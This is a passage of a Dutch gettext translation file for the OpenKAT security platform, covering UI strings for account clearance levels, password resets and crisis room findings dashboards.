\"\"\n\"Kon vrijwaringsniveau van %s niet verhogen naar L%s. Vrijwaring niet \"\n\"aanwezig bij organisatie %s.\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. You were trusted a clearance \"\n\"level of L%s. Contact your administrator to receive a higher clearance.\"\nmsgstr \"\"\n\"Kan vrijwaringsniveau van %s niet verhogen naar L%s. Aan u is een \"\n\"vrijwaringsniveau toevertrouwd van L%s. Neem contact op met uw beheerder om \"\n\"uw vrijwaringsniveau te verhogen.\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. You acknowledged a clearance \"\n\"level of L%s. Please accept the clearance level first on your profile page \"\n\"to proceed.\"\nmsgstr \"\"\n\"Kan vrijwaringsniveau van %s niet verhogen naar L%s. U hebt een \"\n\"vrijwaringsniveau bevestigd van L%s. Accepteer eerst het vrijwaringsniveau \"\n\"op uw profielpagina om verder te gaan.\"\n\n#: account/models.py\nmsgid \"The email must be set\"\nmsgstr \"Het e-mailadres moet worden ingevuld\"\n\n#: account/models.py\nmsgid \"Superuser must have is_staff=True.\"\nmsgstr \"Superuser moet is_staff=True hebben.\"\n\n#: account/models.py\nmsgid \"Superuser must have is_superuser=True.\"\nmsgstr \"Superuser moet is_superuser=True hebben.\"\n\n#: account/models.py\nmsgid \"full name\"\nmsgstr \"voor- en achternaam\"\n\n#: account/models.py\nmsgid \"email\"\nmsgstr \"e-mailadres\"\n\n#: account/models.py\nmsgid \"staff status\"\nmsgstr \"functie of status\"\n\n#: account/models.py\nmsgid \"Designates whether the user can log into this admin site.\"\nmsgstr \"Geeft aan of de gebruiker kan aanmelden op deze beheerderssite.\"\n\n#: account/models.py tools/models.py\nmsgid \"active\"\nmsgstr \"actief\"\n\n#: account/models.py\nmsgid \"\"\n\"Designates whether this user should be treated as active. Unselect this \"\n\"instead of deleting accounts.\"\nmsgstr \"\"\n\"Bepaalt of deze gebruiker behandeld moet worden als actief. Deselecteer dit \"\n\"in plaats van accounts te verwijderen.\"\n\n#: account/models.py\nmsgid \"date joined\"\nmsgstr \"startdatum\"\n\n#: account/models.py\nmsgid \"The clearance level of the user for all organizations.\"\nmsgstr \"Het vrijwaringsniveau van de gebruiker voor alle organisaties.\"\n\n#: account/models.py\nmsgid \"name\"\nmsgstr \"naam\"\n\n#: account/templates/account_detail.html account/views/account.py\nmsgid \"Account details\"\nmsgstr \"Accountgegevens\"\n\n#: account/templates/account_detail.html account/templates/password_reset.html\n#: account/views/password_reset.py\nmsgid \"Reset password\"\nmsgstr \"Wachtwoord opnieuw instellen\"\n\n#: account/templates/account_detail.html\nmsgid \"Full name\"\nmsgstr \"Voor- en achternaam\"\n\n#: account/templates/account_detail.html\nmsgid \"Member type\"\nmsgstr \"Soort lid\"\n\n#: account/templates/account_detail.html\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Organization\"\nmsgstr \"Organisatie\"\n\n#: account/templates/account_detail.html\nmsgid \"Permission to set OOI clearance levels\"\nmsgstr \"Toestemming om vrijwaringsniveaus van OOI in te stellen\"\n\n#: account/templates/account_detail.html\nmsgid \"OOI clearance\"\nmsgstr \"OOI-vrijwaringsniveau\"\n\n#: account/templates/account_detail.html\nmsgid \"You don't have any clearance to scan objects.\"\nmsgstr \"Je hebt geen toestemming om objecten te scannen.\"\n\n#: account/templates/account_detail.html\nmsgid \"\"\n\"Get in contact with the admin to give you the necessary clearance level.\"\nmsgstr \"\"\n\"Neem contact op met uw beheerder om u het noodzakelijke vrijwaringsniveau te \"\n\"geven.\"\n\n#: account/templates/account_detail.html\nmsgid \"You have currently accepted clearance up to level\"\nmsgstr \"U hebt momenteel vrijwaring geaccepteerd tot niveau\"\n\n#: account/templates/account_detail.html\nmsgid \"Explanation OOI Clearance\"\nmsgstr \"Uitleg OOI-vrijwaring\"\n\n#: account/templates/account_detail.html\nmsgid \"\"\n\"You can withdraw this at anytime you like, but know that you won't be able \"\n\"to change clearance levels anymore when you do.\"\nmsgstr \"\"\n\"U kunt dit op elk gewenst moment intrekken, maar weet dat u het \"\n\"vrijwaringsniveau niet meer kunt wijzigen als u dat doet.\"\n\n#: account/templates/account_detail.html\n#, python-format\nmsgid \"Withdraw L%(acl)s clearance and responsibility\"\nmsgstr \"Vrijwaring en verantwoordelijkheid L%(acl)s intrekken\"\n\n#: account/templates/account_detail.html\nmsgid \"Explanation OOI clearance\"\nmsgstr \"Uitleg OOI-vrijwaringsniveau\"\n\n#: account/templates/account_detail.html\n#, python-format\nmsgid \"\"\n\"You are granted clearance for level L%(tcl)s by your admin. Before you can \"\n\"change OOI clearance levels up to this level, you need to accept this \"\n\"permission. Remember: <strong>with great power comes great responsibility.</\"\n\"strong>\"\nmsgstr \"\"\n\"U krijgt vrijwaring voor niveau L%(tcl)s van uw beheerder. Voordat u OOI-\"\n\"vrijwaringsniveaus kunt wijzigen tot dit niveau, moet u deze toestemming \"\n\"accepteren. Onthoud: <strong>met grote macht komt grote verantwoordelijkheid.\"\n\"</strong>\"\n\n#: account/templates/account_detail.html\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"Accept level L%(tcl)s clearance and responsibility\"\nmsgstr \"Accepteer vrijwaringsniveau L%(tcl)s en verantwoordelijkheid\"\n\n#: account/templates/password_reset.html\nmsgid \"Use the form below to reset your password.\"\nmsgstr \"\"\n\"Gebruik het onderstaande formulier om uw wachtwoord opnieuw in te stellen.\"\n\n#: account/templates/password_reset.html\n#: account/templates/password_reset_confirm.html\nmsgid \"Send\"\nmsgstr \"Versturen\"\n\n#: account/templates/password_reset.html\n#: account/templates/password_reset_confirm.html\nmsgid \"Back\"\nmsgstr \"Terug\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Confirm reset password\"\nmsgstr \"Bevestig het opnieuw instellen van uw wachtwoord\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Use the form below to confirm resetting your password\"\nmsgstr \"Gebruik onderstaand formulier om het wachtwoord opnieuw in te stellen\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Confirm password\"\nmsgstr \"Wachtwoord bevestigen\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"The link is invalid\"\nmsgstr \"De koppeling is ongeldig\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"\"\n\"The password reset link was invalid, possibly because it has already been \"\n\"used.  Please request a new password reset.\"\nmsgstr \"\"\n\"De koppeling om het wachtwoord opnieuw in te stellen was onjuist, wellicht \"\n\"is deze al gebruikt. Probeer nogmaals opnieuw het wachtwoord in te stellen.\"\n\n#: account/templates/password_reset_email.html\n#, python-format\nmsgid \"\"\n\"You're receiving this email because you requested a password reset for your \"\n\"user account at %(site_name)s.\"\nmsgstr \"\"\n\"U ontvangt dit e-mailbericht, omdat er een verzoek is gedaan om het \"\n\"wachtwoord voor uw profiel op %(site_name)s te herstellen.\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"Please go to the following page and choose a new password:\"\nmsgstr \"Ga naar de volgende pagina en kies een nieuw wachtwoord:\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"Sincerely,\"\nmsgstr \"Hoogachtend,\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"The OpenKAT team\"\nmsgstr \"Het OpenKAT-team\"\n\n#: account/templates/password_reset_subject.txt\n#, python-format\nmsgid \"Password reset on %(site_name)s\"\nmsgstr \"Wachtwoord opnieuw instellen op %(site_name)s\"\n\n#: account/templates/recover_email.html account/views/recover_email.py\nmsgid \"Recover email address\"\nmsgstr \"E-mailadres herstellen\"\n\n#: account/templates/recover_email.html\nmsgid \"Information on how to recover your connected email address\"\nmsgstr \"Informatie over hoe u uw verbonden e-mailadres kunt herstellen\"\n\n#: account/templates/recover_email.html\nmsgid \"Forgotten email address?\"\nmsgstr \"E-mailadres vergeten?\"\n\n#: account/templates/recover_email.html\nmsgid \"\"\n\"If you don’t remember the email address connected to your account, contact:\"\nmsgstr \"\"\n\"Als u het aan uw account gekoppelde e-mailadres niet meer weet, neem dan \"\n\"contact op met:\"\n\n#: account/templates/recover_email.html\nmsgid \"Please contact the system administrator.\"\nmsgstr \"Neem contact op met de systeembeheerder.\"\n\n#: account/templates/recover_email.html\nmsgid \"Back to login\"\nmsgstr \"Terug naar aanmelden\"\n\n#: account/templates/recover_email.html\nmsgid \"Back to Home\"\nmsgstr \"Terug naar Home\"\n\n#: account/templates/registration_email.html\n#, python-format\nmsgid \"\"\n\"Welcome to OpenKAT. You're receiving this email because you have been added \"\n\"to organization \\\"%(organization)s\\\" at %(site_name)s.\"\nmsgstr \"\"\n\"Welkom bij OpenKAT. U ontvangt dit e-mailbericht, omdat u bent toegevoegd \"\n\"aan de organisatie ‘%(organization)s’ op %(site_name)s.\"\n\n#: account/templates/registration_subject.txt\n#, python-format\nmsgid \"Verify OpenKAT account on %(site_name)s\"\nmsgstr \"Verifieer OpenKAT-account op %(site_name)s\"\n\n#: account/validators.py\nmsgid \"\"\n\"Your password must contain at least the following but longer passwords are \"\n\"recommended:\"\nmsgstr \"\"\n\"Uw password moet minimaal voldoen aan onderstaande maar langere passwords \"\n\"worden aanbevolen:\"\n\n#: account/validators.py\nmsgid \" characters\"\nmsgstr \" karakters\"\n\n#: account/validators.py\nmsgid \" digits\"\nmsgstr \" cijfers\"\n\n#: account/validators.py\nmsgid \" letters\"\nmsgstr \" letters\"\n\n#: account/validators.py\nmsgid \"\"\n\" special characters such as: {str(validators.get('special_characters',''))}\"\nmsgstr \"\"\n\" speciale karakters als: {str(validators.get('special_characters',''))}\"\n\n#: account/validators.py\nmsgid \" lower case letters\"\nmsgstr \" kleine letters\"\n\n#: account/validators.py\nmsgid \" upper case letters\"\nmsgstr \" hoofdletters\"\n\n#: account/views/login.py\nmsgid \"Your session has timed out. Please login again.\"\nmsgstr \"Uw sessie is verlopen. Gelieve opnieuw aan te melden.\"\n\n#: account/views/login.py rocky/templates/header.html\nmsgid \"OpenKAT\"\nmsgstr \"OpenKAT\"\n\n#: account/views/login.py account/views/password_reset.py\n#: account/views/recover_email.py rocky/templates/partials/secondary-menu.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Login\"\nmsgstr \"Aanmelden\"\n\n#: account/views/login.py\nmsgid \"Two factor authentication\"\nmsgstr \"Tweestapsverificatie\"\n\n#: account/views/password_reset.py\nmsgid \"We couldn't send a password reset link. Contact \"\nmsgstr \"We konden geen koppeling voor wachtwoordherstel verzenden. Contact \"\n\n#: account/views/password_reset.py\nmsgid \"\"\n\"We couldn't send a password reset link. Contact your system administrator.\"\nmsgstr \"\"\n\"We konden geen wachtwoordherstelkoppeling sturen. Neem contact op met uw \"\n\"systeembeheerder.\"\n\n#: components/modal/template.html\nmsgid \"Close modal\"\nmsgstr \"Modal sluiten\"\n\n#: components/modal/template.html\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: crisis_room/templates/partials/new_dashboard_modal.html\n#: katalogus/templates/change_clearance_level.html\n#: katalogus/templates/confirmation_clone_settings.html\n#: katalogus/templates/plugin_settings_delete.html\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#: reports/templates/report_schedules/delete_recipe_modal.html\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/oois/ooi_mute_finding.html\n#: rocky/templates/organizations/organization_edit.html\n#: rocky/templates/organizations/organization_member_edit.html\n#: rocky/templates/partials/delete_ooi_modal.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/mute_findings_modal.html\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Cancel\"\nmsgstr \"Annuleren\"\n\n#: crisis_room/forms.py\nmsgid \"Title on dashboard\"\nmsgstr \"Titel op dashboard\"\n\n#: crisis_room/forms.py\n#, fuzzy\nmsgid \"Dashboard item size\"\nmsgstr \"Grootte dashboard-item\"\n\n#: crisis_room/forms.py\n#, fuzzy\nmsgid \"Full width\"\nmsgstr \"Volledige breedte\"\n\n#: crisis_room/forms.py\n#, fuzzy\nmsgid \"Half width\"\nmsgstr \"Halve breedte\"\n\n#: crisis_room/forms.py\n#, fuzzy\nmsgid \"An item with that name already exists. Try a different title.\"\nmsgstr \"Item-naam bestaat al. Probeer een andere titel.\"\n\n#: crisis_room/forms.py\n#, fuzzy\nmsgid \"An error occurred while adding dashboard item.\"\nmsgstr \"Fout tijdens toevoegen van een dashboard-item.\"\n\n#: crisis_room/forms.py\n#, fuzzy\nmsgid \"Number of rows in list\"\nmsgstr \"Aantal rijen in de lijst\"\n\n#: crisis_room/forms.py\n#, fuzzy\nmsgid \"List sorting by\"\nmsgstr \"Lijstsortering op\"\n\n#: crisis_room/forms.py\n#, fuzzy\nmsgid \"Type (A-Z)\"\nmsgstr \"Type (A-Z)\"\n\n#: crisis_room/forms.py\n#, fuzzy\nmsgid \"Type (Z-A)\"\nmsgstr \"Type (Z-A)\"\n\n#: crisis_room/forms.py\n#, fuzzy\nmsgid \"Clearance level (Low-High)\"\nmsgstr \"Vrijwaringsniveau (Laag-Hoog)\"\n\n#: crisis_room/forms.py\n#, fuzzy\nmsgid \"Clearance level (High-Low)\"\nmsgstr \"Vrijwaringsniveau (Hoog-Laag)\"\n\n#: crisis_room/forms.py\n#, fuzzy\nmsgid \"Show table columns\"\nmsgstr \"Toon kolommen\"\n\n#: crisis_room/forms.py\n#, fuzzy\nmsgid \"Severity (Low-High)\"\nmsgstr \"Ernst (Laag-Hoog)\"\n\n#: crisis_room/forms.py\n#, fuzzy\nmsgid \"Severity (High-Low)\"\nmsgstr \"Ernst (Hoog-Laag)\"\n\n#: crisis_room/forms.py\n#, fuzzy\nmsgid \"Finding (A-Z)\"\nmsgstr \"Bevinding (A-Z)\"\n\n#: crisis_room/forms.py\n#, fuzzy\nmsgid \"Finding (Z-A)\"\nmsgstr \"Bevinding (Z-A)\"\n\n#: crisis_room/models.py\n#, fuzzy\nmsgid \"Findings Dashboard\"\nmsgstr \"Bevindingen-dashboard\"\n\n#: crisis_room/models.py\n#, fuzzy\nmsgid \"\"\n\"Where on the dashboard do you want to show the data? Position {} is the most \"\n\"top level and the max position is {}.\"\nmsgstr \"\"\n\"Waar wilt u de data op het dashboard tonen? Positie {} is het bovenste top \"\n\"level en de maximale positie is {}.\"\n\n#: crisis_room/models.py\n#, fuzzy\nmsgid \"Will be displayed on the general crisis room, for all organizations.\"\nmsgstr \"Wordt getoond in het algemene crisiscentrum voor alle organisaties.\"\n\n#: crisis_room/models.py\n#, fuzzy\nmsgid \"Will be displayed on a single organization dashboard\"\nmsgstr \"Wordt getoond op het dashboard van één organisatie.\"\n\n#: crisis_room/models.py\n#, fuzzy\nmsgid \"Will be displayed on the findings dashboard for all organizations\"\nmsgstr \"Wordt getoond op het bevindingen-dashboard voor alle organisaties\"\n\n#: crisis_room/models.py\n#, fuzzy\nmsgid \"Can change position up or down of a dashboard item.\"\nmsgstr \"Wijzigt de positie van een dashboards-item naar boven of beneden.\"\n\n#: crisis_room/models.py\n#, fuzzy\nmsgid \"You have to choose between a recipe or a query, but not both.\"\nmsgstr \"Kies tussen recept of query, beide is niet toegestaan.\"\n\n#: crisis_room/models.py\n#, fuzzy\nmsgid \"You have set a query and not where it is from. Also set the source.\"\nmsgstr \"\"\n\"U heeft een query gemaakt zonder aan te geven waarop. Geef tevens de bron \"\n\"aan.\"\n\n#: crisis_room/models.py\n#, fuzzy\nmsgid \"\"\n\"DashboardItem must contain at least a 'recipe' or a 'source' with a 'query'.\"\nmsgstr \"\"\n\"Een dashboard-item moet minimaal een 'recept' of 'bron' bevatten inclusief \"\n\"een \\\"query'.\"\n\n#: crisis_room/models.py\n#, fuzzy\nmsgid \"Max dashboard items reached.\"\nmsgstr \"Maximaal aantal dashboard-items bereikt.\"\n\n#: crisis_room/templates/crisis_room.html\n#: crisis_room/templates/organization_crisis_room.html\n#: rocky/templates/header.html\nmsgid \"Crisis room\"\nmsgstr \"Crisiscentrum\"\n\n#: crisis_room/templates/crisis_room.html\n#, fuzzy\nmsgid \"Crisis room overview for all organizations.\"\nmsgstr \"Crisiscentrum-overzicht voor alle organisaties\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\n#, fuzzy\nmsgid \"Dashboards\"\nmsgstr \"Dashboards\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"\"\n\"On this page you can see an overview of the dashboards for all \"\n\"organizations. **More context can be written here**\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\n#, fuzzy\nmsgid \"dashboards\"\nmsgstr \"dashboards\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\n#, fuzzy\nmsgid \"There are no dashboards to display.\"\nmsgstr \"Er zijn geen dashboards o te tonen.\"\n\n#: crisis_room/templates/crisis_room_findings.html\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Findings overview\"\nmsgstr \"Bevindingenoverzicht\"\n\n#: crisis_room/templates/crisis_room_findings.html\n#, fuzzy\nmsgid \"\"\n\"\\n\"\n\"                            This overview shows the total number of findings \"\n\"per\\n\"\n\"                            severity that have been identified for all \"\n\"organizations.\\n\"\n\"                            This data is based on the latest Crisis Room \"\n\"Findings Report\\n\"\n\"                            of each organization.\\n\"\n\"                        \"\nmsgstr \"\"\n\"\\n\"\n\"                            Dit overzicht toont het totaal aantal \"\n\"bevindingen per\\n\"\n\"risiconiveau (ernst) dat is gevonden voor alle organisaties.\\n\"\n\"Deze data is gebaseerd op de meest actuele Crisicentrum\\n\"\n\"rapportage voor elke organisatie.\\n\"\n\"                        \"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"Findings per organization\"\nmsgstr \"Bevindingen per organisatie\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"This table shows the findings that have been identified for each \"\n\"organization, sorted by the finding types and grouped by organizations. This \"\n\"data is based on the latest Crisis Room Findings Report of each organization.\"\nmsgstr \"\"\n\"Deze tabel toont de bevindingen die voor elke organisatie zijn \"\n\"geïdentificeerd, gesorteerd op type bevinding en gegroepeerd per \"\n\"organisatie. Deze gegevens zijn gebaseerd op het meest recente Crisis Room \"\n\"Findings Report van elke organisatie.\"\n\n#: crisis_room/templates/crisis_room_findings.html\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"No findings have been identified yet. As soon as they have been identified, \"\n\"they will be shown on this page.\"\nmsgstr \"\"\n\"Er zijn nog geen bevindingen geïdentificeerd. Zodra ze zijn geïdentificeerd, \"\n\"worden ze op deze pagina weergegeven.\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"There are no organizations yet. After creating an organization, the \"\n\"identified findings will be shown here.\"\nmsgstr \"\"\n\"Er zijn nog geen organisaties. Nadat u een organisatie hebt aangemaakt, \"\n\"worden de geïdentificeerde bevindingen hier weergegeven.\"\n\n#: crisis_room/templates/crisis_room_header.html\n#: crisis_room/templates/organization_crisis_room_header.html\n#, fuzzy\nmsgid \"Crisis room navigation\"\nmsgstr \"Crisiscentrum navigatie\"\n\n#: crisis_room/templates/crisis_room_header.html\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\n#: reports/report_types/aggregate_organisation_report/findings.html\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/findings_report/report.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/multi_organization_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/tls_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/report_types/web_system_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_sidemenu.html\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/ooi_report_findings_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/views/finding_list.py rocky/views/finding_type_add.py\n#: rocky/views/ooi_view.py\nmsgid \"Findings\"\nmsgstr \"Bevindingen\"\n\n#: crisis_room/templates/organization_crisis_room.html\n#, fuzzy\nmsgid \"Options for dashboard\"\nmsgstr \"Opties voor dashboard\"\n\n#: crisis_room/templates/organization_crisis_room.html\n#, fuzzy\nmsgid \"Show all descriptions\"\nmsgstr \"Toon alle beschrijvingen\"\n\n#: crisis_room/templates/organization_crisis_room.html\n#, fuzzy\nmsgid \"Hide all descriptions\"\nmsgstr \"Verberg alle beschrijvingen\"\n\n#: crisis_room/templates/organization_crisis_room.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#, fuzzy\nmsgid \"Delete dashboard\"\nmsgstr \"Verwijder dashboard\"\n\n#: crisis_room/templates/organization_crisis_room.html\n#, fuzzy\nmsgid \"\"\n\"There are no dashboards yet. Click on \\\"Add dashboard\\\" to create a new \"\n\"dashboard.\"\nmsgstr \"\"\n\"Er zijn nog geen dashboards. Selecteer \\\"Aanmaken dashboard\\\" om een nieuw \"\n\"dashboard te maken.\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\n#: katalogus/templates/partials/objects_to_scan.html\n#: rocky/templates/forms/widgets/checkbox_group_table.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Object list\"\nmsgstr \"Objectenlijst\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\n#, fuzzy\nmsgid \"Finding list\"\nmsgstr \"Bevindingenlijst\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\n#, fuzzy\nmsgid \"Report section\"\nmsgstr \"Rapportagesectie\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"There are no dashboard items added yet.\"\nmsgstr \"Er zijn nog geen dashboarditems toegevoegd.\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"\"\n\"You can add dashboard items via the filters on the objects and findings page \"\n\"or you can add a report section.\"\nmsgstr \"\"\n\"U kunt dashboarditems toevoegen via de filters op de objecten en bevindingen \"\n\"pagina of u kunt een rapportsectie toevoegen.\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\n#, fuzzy\nmsgid \"Add objects\"\nmsgstr \"Objecten toevoegen\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\n#, fuzzy\nmsgid \"Add findings\"\nmsgstr \"Bevindingen toevoegen\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\n#, fuzzy\nmsgid \"Add report section\"\nmsgstr \"Voeg rapportagesectie toe\"\n\n#: crisis_room/templates/organization_crisis_room_header.html\n#: crisis_room/templates/partials/new_dashboard_modal.html\n#, fuzzy\nmsgid \"Add dashboard\"\nmsgstr \"Dashboard toevoegen\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Findings per organization overview\"\nmsgstr \"Bevindingen per organisatie overzicht\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: tools/forms/finding_type.py\nmsgid \"Finding types\"\nmsgstr \"Bevindingstypen\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Occurrences\"\nmsgstr \"Voorvallen\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#, fuzzy\nmsgid \"Highest risk level\"\nmsgstr \"Hoogste risiconiveau\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#, fuzzy\nmsgid \"Critical finding types\"\nmsgstr \"Kritische bevindingstypes\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Details\"\nmsgstr \"Details\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Close details\"\nmsgstr \"Details sluiten\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Open details\"\nmsgstr \"Details openen\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#, fuzzy\nmsgid \"\"\n\"This overview shows the total number of findings per severity that have been \"\n\"identified for this organization.\"\nmsgstr \"\"\n\"Dit overzicht toont het totaal aantal bevindingen per risiconiveau (ernst) \"\n\"dat is gevonden voor deze organisatie.\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\n#, fuzzy\nmsgid \"Critical and high findings\"\nmsgstr \"Kritieke en hoog-niveau bevindingen\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"This table shows the top 25 critical and high findings that have been \"\n\"identified for this organization, grouped by finding types. A table with all \"\n\"the identified findings can be found in the Findings Report.\"\nmsgstr \"\"\n\"Deze tabel toont de 25 belangrijkste kritieke en ernstige bevindingen die \"\n\"voor deze organisatie zijn geïdentificeerd, gegroepeerd per type bevinding. \"\n\"Een tabel met alle geïdentificeerde bevindingen is te vinden in het \"\n\"Bevindingenrapport.\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#, fuzzy\nmsgid \"No findings have been identified. Check report for more details.\"\nmsgstr \"\"\n\"Er zijn geen bevindingen gevonden. Controleer het rapport voor meer details.\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#, fuzzy\nmsgid \"View findings report\"\nmsgstr \"Bekijk bevindingenrapport\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Edit report recipe\"\nmsgstr \"Rapportrecept bewerken\"\n\n#: crisis_room/templates/partials/dashboard_finding_list.html\n#, fuzzy, python-format\nmsgid \"Showing %(length)s findings\"\nmsgstr \"Toon %(length)s bevindingen\"\n\n#: crisis_room/templates/partials/dashboard_finding_list.html\n#, fuzzy\nmsgid \"Go to findings\"\nmsgstr \"Naar bevindingen\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Findings table \"\nmsgstr \"Bevindingentabel \"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: crisis_room/templates/partials/dashboard_ooi_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"column headers with buttons are sortable\"\nmsgstr \"kolomkoppen met knoppen zijn te sorteren\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show details for %(finding)s\"\nmsgstr \"Bekijk details van %(finding)s\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#: rocky/views/mixins.py\nmsgid \"Tree\"\nmsgstr \"Boomweergave\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: 